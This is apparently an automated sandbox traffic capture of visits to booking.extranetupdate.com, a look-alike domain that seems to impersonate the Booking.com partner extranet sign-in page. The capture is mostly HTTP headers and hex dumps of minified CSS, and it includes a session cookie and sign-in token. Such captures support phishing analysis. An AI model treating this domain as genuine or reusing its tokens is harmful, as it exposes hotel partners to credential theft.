7d 3b 76 61 72 20 74 3d 69 65 28 65 29 3b 72 65 74 75 72 6e 7b 5f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 61 3d 44 2e 67 65 74 Data Ascii: =s(e,r,a);i=X(e,"lazybeforesizes",{width:a,dataAttr:!!t});if(!i.defaultPrevented){a=i.detail.width;if(a&&a!==e._lazysizesWidth){n(e,r,i,a)}}}};var e=function(){var e;var t=a.length;if(t){e=0;for(;e<t;e++){i(a[e])}}};var t=ie(e);return{_:function(){a=D.get

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:23 UTC	627	OUT	GET /themes/custom/booking/fonts/icons/icons.woff?v=1.3.3 HTTP/1.1 Host: partner.booking.com Connection: keep-alive Origin: https://booking.extranetupdate.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://booking.extranetupdate.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 11:24:23 UTC	614	IN	HTTP/1.1 202 Accepted Server: CloudFront Date: Thu, 17 Apr 2025 11:24:23 GMT Content-Length: 0 Connection: close x-amzn-waf-action: challenge Cache-Control: no-store, max-age=0 Content-Type: text/html; charset=UTF-8 Access-Control-Allow-Origin: * Access-Control-Max-Age: 86400 Access-Control-Allow-Methods: OPTIONS,GET,POST Access-Control-Allow-Headers: x-amzn-waf-action X-Cache: Error from cloudfront Via: 1.1 dccf8b56c5bf22bc5b8eac27ffbf7758.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P3 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: K831Jc4oF15Pl1izWLXdYr92Ob60krElf1Oou_kKav3lHlE9akhWlg==

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:23 UTC	939	OUT	GET /static/45_1975cbc2f7eaad75f590.css HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:24 UTC	970	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:24 GMT Content-Type: text/css Content-Length: 92160 Connection: close Cf-Ray: 931b8e4908e98bb9-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:24 GMT Etag: "672e5544-16800" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G6ZkwwkWi73%2B4aQ20w0Y5nbmAp0RIHVeYmUmnctCeAig0hQyNj6cjZTsNKUmCigH4os8V%2B7C%2BFRmJeWfeht8o0My7gm%2FRI4VXBPVjld9zxXEwXNrOYQsh0uYkpYmpW6NI2vYF7kSSwWvIOFs%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106103&min_rtt=105761&rtt_var=22826&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1511&delivery_rate=37799&cwnd=252&unsent_bytes=0&cid=acf9bfe64dfb2d75&ts=925&x=0"
2025-04-17 11:24:24 UTC	399	IN	Data Raw: 2e 71 4e 79 53 5f 50 4a 73 44 6c 37 71 4c 71 33 36 32 44 65 34 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 51 5a 62 45 5f 52 4c 36 5f 45 59 58 31 38 71 4e 69 6e 4e 4d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 7b 6f 70 61 63 69 74 79 3a 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 76 61 72 28 2d 2d 62 75 69 5f 74 69 6d 69 6e 67 2d 64 65 6c 69 62 65 72 61 74 65 29 20 76 61 72 28 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 6f 75 74 29 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 6f 70 61 63 69 74 79 2c 74 72 61 6e 73 66 6f Data Ascii: .qNyS_PJsDl7qLq362De4{display:inline-block;vertical-align:middle}.QZbE_RL6_EYX18qNinNM{display:block}.g2P7vZdOVg8A40TmQACw{opacity:0;pointer-events:none;transition:var(--bui_timing-deliberate) var(--bui_easing-slow-out);transition-property:opacity,transfo
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 2e 41 47 71 46 66 38 76 64 4d 4a 6d 53 55 44 6e 4d 35 5f 4e 42 2c 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 2e 42 57 74 54 41 33 73 71 77 35 44 32 73 65 38 70 47 6d 33 73 2c 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 2e 68 50 64 42 4e 37 73 57 54 69 44 46 6b 6c 69 6e 39 4c 65 79 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 2a 2d 31 29 29 7d 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 2e 41 47 71 46 66 38 76 64 4d 4a 6d 53 55 44 6e 4d 35 5f 4e 42 2e 51 74 51 72 6a 77 76 4d 4e 70 Data Ascii: ;vertical-align:top}.g2P7vZdOVg8A40TmQACw.AGqFf8vdMJmSUDnM5_NB,.g2P7vZdOVg8A40TmQACw.BWtTA3sqw5D2se8pGm3s,.g2P7vZdOVg8A40TmQACw.hPdBN7sWTiDFklin9Ley{transform:translateY(calc(var(--bui_spacing_4x)*-1))}.g2P7vZdOVg8A40TmQACw.AGqFf8vdMJmSUDnM5_NB.QtQrjwvMNp
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 2a 2d 31 29 29 7d 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 2e 58 57 73 4f 6e 4e 77 35 47 53 52 7a 74 6d 33 49 72 42 69 56 2c 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 2e 64 72 62 7a 4d 77 45 6a 56 4c 6c 7a 41 48 4e 47 6f 38 62 77 2c 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 2e 6f 50 59 64 5a 55 4f 65 6e 77 4a 76 77 4b 72 74 42 6e 33 6a 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 29 7d 2e 67 32 50 37 76 5a 64 4f 56 67 38 41 34 30 54 6d 51 41 43 77 2e 58 57 73 4f 6e 4e 77 35 47 53 52 7a 74 6d 33 49 72 42 69 56 2e 51 74 51 72 6a 77 76 4d 4e 70 30 76 6e 62 6b 76 6b 78 53 41 2c Data Ascii: i_spacing_2x)*-1))}.g2P7vZdOVg8A40TmQACw.XWsOnNw5GSRztm3IrBiV,.g2P7vZdOVg8A40TmQACw.drbzMwEjVLlzAHNGo8bw,.g2P7vZdOVg8A40TmQACw.oPYdZUOenwJvwKrtBn3j{transform:translate(var(--bui_spacing_4x))}.g2P7vZdOVg8A40TmQACw.XWsOnNw5GSRztm3IrBiV.QtQrjwvMNp0vnbkvkxSA,
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 64 29 7d 2e 6f 42 51 35 5a 30 50 6f 6d 51 64 58 43 32 6d 5a 4b 5a 72 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 63 6f 6c 6f 72 7d 2e 59 71 79 46 33 37 34 44 7a 37 71 47 48 46 52 36 67 6e 38 48 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 31 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 31 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 31 5f 66 6f 6e 74 2d Data Ascii: d)}.oBQ5Z0PomQdXC2mZKZrr{color:currentcolor}.YqyF374Dz7qGHFR6gn8H{font-family:var(--DO_NOT_USE_bui_small_font_display_1_font-family);font-size:var(--DO_NOT_USE_bui_small_font_display_1_font-size);font-weight:var(--DO_NOT_USE_bui_small_font_display_1_font-
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 66 65 61 74 75 72 65 64 5f 32 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 66 65 61 74 75 72 65 64 5f 32 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 4a 78 30 59 54 63 74 62 69 6b 53 6f 48 46 76 70 4f 6a 31 53 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 66 65 61 74 75 72 65 64 5f 33 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 66 65 61 74 75 72 65 64 5f 33 Data Ascii: T_USE_bui_small_font_featured_2_font-weight);line-height:var(--DO_NOT_USE_bui_small_font_featured_2_line-height)}.Jx0YTctbikSoHFvpOj1S{font-family:var(--DO_NOT_USE_bui_small_font_featured_3_font-family);font-size:var(--DO_NOT_USE_bui_small_font_featured_3
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 31 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 31 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 31 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 50 4b 68 42 72 69 4b 48 31 7a 52 55 42 6f 71 41 59 61 46 33 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 73 74 72 Data Ascii: e:var(--DO_NOT_USE_bui_small_font_strong_1_font-size);font-weight:var(--DO_NOT_USE_bui_small_font_strong_1_font-weight);line-height:var(--DO_NOT_USE_bui_small_font_strong_1_line-height)}.PKhBriKH1zRUBoqAYaF3{font-family:var(--DO_NOT_USE_bui_small_font_str
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 62 6f 64 79 5f 32 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 43 6e 58 63 6d 74 50 54 32 38 77 Data Ascii: ly:var(--DO_NOT_USE_bui_small_font_body_2_font-family);font-size:var(--DO_NOT_USE_bui_small_font_body_2_font-size);font-weight:var(--DO_NOT_USE_bui_small_font_body_2_font-weight);line-height:var(--DO_NOT_USE_bui_small_font_body_2_line-height)}.CnXcmtPT28w
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 31 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 31 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 31 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 31 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 4d 6a 66 62 72 4e 6c 55 37 67 39 56 Data Ascii: SE_bui_medium_font_display_1_font-family);font-size:var(--DO_NOT_USE_bui_medium_font_display_1_font-size);font-weight:var(--DO_NOT_USE_bui_medium_font_display_1_font-weight);line-height:var(--DO_NOT_USE_bui_medium_font_display_1_line-height)}.MjfbrNlU7g9V
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 66 65 61 74 75 72 65 64 5f 32 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 4a 78 30 59 54 63 74 62 69 6b 53 6f 48 46 76 70 4f 6a 31 53 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 66 65 61 74 75 72 65 64 5f 33 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 66 65 61 74 75 72 65 64 5f 33 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 66 65 61 74 75 72 65 64 5f 33 5f 66 6f Data Ascii: _bui_medium_font_featured_2_line-height)}.Jx0YTctbikSoHFvpOj1S{font-family:var(--DO_NOT_USE_bui_medium_font_featured_3_font-family);font-size:var(--DO_NOT_USE_bui_medium_font_featured_3_font-size);font-weight:var(--DO_NOT_USE_bui_medium_font_featured_3_fo
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 31 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 31 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 50 4b 68 42 72 69 4b 48 31 7a 52 55 42 6f 71 41 59 61 46 33 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 32 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d Data Ascii: font-weight:var(--DO_NOT_USE_bui_medium_font_strong_1_font-weight);line-height:var(--DO_NOT_USE_bui_medium_font_strong_1_line-height)}.PKhBriKH1zRUBoqAYaF3{font-family:var(--DO_NOT_USE_bui_medium_font_strong_2_font-family);font-size:var(--DO_NOT_USE_bui_m

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:23 UTC	940	OUT	GET /static/938_afde72b9aaa8302ff017.css HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:24 UTC	966	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:24 GMT Content-Type: text/css Content-Length: 74745 Connection: close Cf-Ray: 931b8e491fae1d6c-ATL Server: cloudflare Last-Modified: Thursday, 17-Apr-2025 11:24:24 GMT Etag: "672e5545-123f9" Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Cf-Cache-Status: BYPASS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nXiaR1xLHc%2FSwKGhhvNmSycGrJUQuAbZenBPE%2Borzbt6WC9u2rAJ64Bne5aFMqSPuvVUv2DWTisVAs8o%2Bdj4jySFa4bVuhS6wGGnRW4WNP0GddZ5BcK2WeG8asCfRW00pXK9Br29Z3d2qSBt0A%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105986&min_rtt=105764&rtt_var=22644&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1512&delivery_rate=37935&cwnd=252&unsent_bytes=0&cid=5983ffe7b70294c0&ts=947&x=0"
2025-04-17 11:24:24 UTC	403	IN	Data Raw: 2e 77 6b 54 4e 64 51 6a 41 66 52 56 62 4b 76 46 42 69 52 31 54 7b 62 6f 72 64 65 72 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 5f 6e 77 47 70 72 66 4c 5a 66 5a 67 4d 46 6a 73 6d 61 70 37 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 65 6e 64 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 70 61 64 64 69 6e 67 3a 30 20 30 20 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 7d 2e 5a 47 79 37 42 4c 43 58 34 58 4f 76 66 41 44 42 46 6a 31 31 2c 2e 62 71 57 37 67 72 61 48 68 30 39 43 54 4e 41 4e 4f 72 58 74 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 73 74 61 72 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d Data Ascii: .wkTNdQjAfRVbKvFBiR1T{border:0;margin:0;padding:0}._nwGprfLZfZgMFjsmap7{align-items:flex-end;display:flex;padding:0 0 var(--bui_spacing_1x)}.ZGy7BLCX4XOvfADBFj11,.bqW7graHh09CTNANOrXt{-webkit-margin-start:var(--bui_spacing_1x);display:inline-block;margin-
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 67 4a 64 67 45 4f 44 4f 37 64 33 53 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 63 54 64 4a 4e 41 53 72 6b 62 45 5f 6d 41 37 4b 69 35 59 51 7b 62 6f 72 64 65 72 3a 30 3b 68 65 69 67 68 74 3a 31 70 78 3b 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6f 70 61 63 69 74 79 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 70 78 7d 2e 65 61 4d 51 4b 66 43 51 31 64 4a 77 52 6a 68 71 58 41 6f 42 20 2e 63 54 64 4a 4e 41 53 72 6b 62 45 5f 6d 41 37 4b 69 35 59 51 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 63 54 64 4a 4e 41 53 72 6b 62 45 5f 6d 41 37 4b 69 35 59 51 7b 6c 65 66 74 3a 61 75 74 6f 3b 72 69 67 68 74 3a 30 7d 2e 45 4d 71 41 43 48 4e 46 4b 49 72 Data Ascii: gJdgEODO7d3S{position:relative}.cTdJNASrkbE_mA7Ki5YQ{border:0;height:1px;left:0;margin:0;opacity:0;overflow:hidden;position:absolute;top:0;width:1px}.eaMQKfCQ1dJwRjhqXAoB .cTdJNASrkbE_mA7Ki5YQ,[dir=rtl] .cTdJNASrkbE_mA7Ki5YQ{left:auto;right:0}.EMqACHNFKIr
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 6f 72 64 65 72 29 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 76 61 72 28 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 77 69 64 74 68 5f 32 30 30 29 7d 2e 63 54 64 4a 4e 41 53 72 6b 62 45 5f 6d 41 37 4b 69 35 59 51 3a 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 7e 2e 67 73 71 49 35 74 78 4a 65 77 34 6e 35 46 37 34 65 31 65 70 20 2e 53 65 68 35 6b 39 49 4d 32 36 4d 48 32 48 4f 78 4f 33 71 32 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 62 61 63 6b 67 72 6f 75 6e 64 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 62 61 63 6b 67 72 6f 75 6e 64 29 7d 2e 63 54 64 4a 4e 41 53 72 Data Ascii: olor_destructive_border);border-width:var(--bui_border_width_200)}.cTdJNASrkbE_mA7Ki5YQ:indeterminate~.gsqI5txJew4n5F74e1ep .Seh5k9IM26MH2HOxO3q2{background-color:var(--bui_color_action_background);border-color:var(--bui_color_action_background)}.cTdJNASr
2025-04-17 11:24:24 UTC	1369	IN	Data Raw: 3a 64 69 73 61 62 6c 65 64 3a 63 68 65 63 6b 65 64 7e 2e 67 73 71 49 35 74 78 4a 65 77 34 6e 35 46 37 34 65 31 65 70 20 2e 53 65 68 35 6b 39 49 4d 32 36 4d 48 32 48 4f 78 4f 33 71 32 2c 2e 63 54 64 4a 4e 41 53 72 6b 62 45 5f 6d 41 37 4b 69 35 59 51 3a 64 69 73 61 62 6c 65 64 3a 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 7e 2e 53 65 68 35 6b 39 49 4d 32 36 4d 48 32 48 4f 78 4f 33 71 32 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 69 73 61 62 6c 65 64 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 64 69 73 61 62 6c 65 64 29 7d 2e 63 54 64 4a 4e 41 53 72 6b 62 45 5f 6d 41 37 4b 69 35 59 51 3a Data Ascii: :disabled:checked~.gsqI5txJew4n5F74e1ep .Seh5k9IM26MH2HOxO3q2,.cTdJNASrkbE_mA7Ki5YQ:disabled:indeterminate~.Seh5k9IM26MH2HOxO3q2{background-color:var(--bui_color_background_disabled);border-color:var(--bui_color_background_disabled)}.cTdJNASrkbE_mA7Ki5YQ:
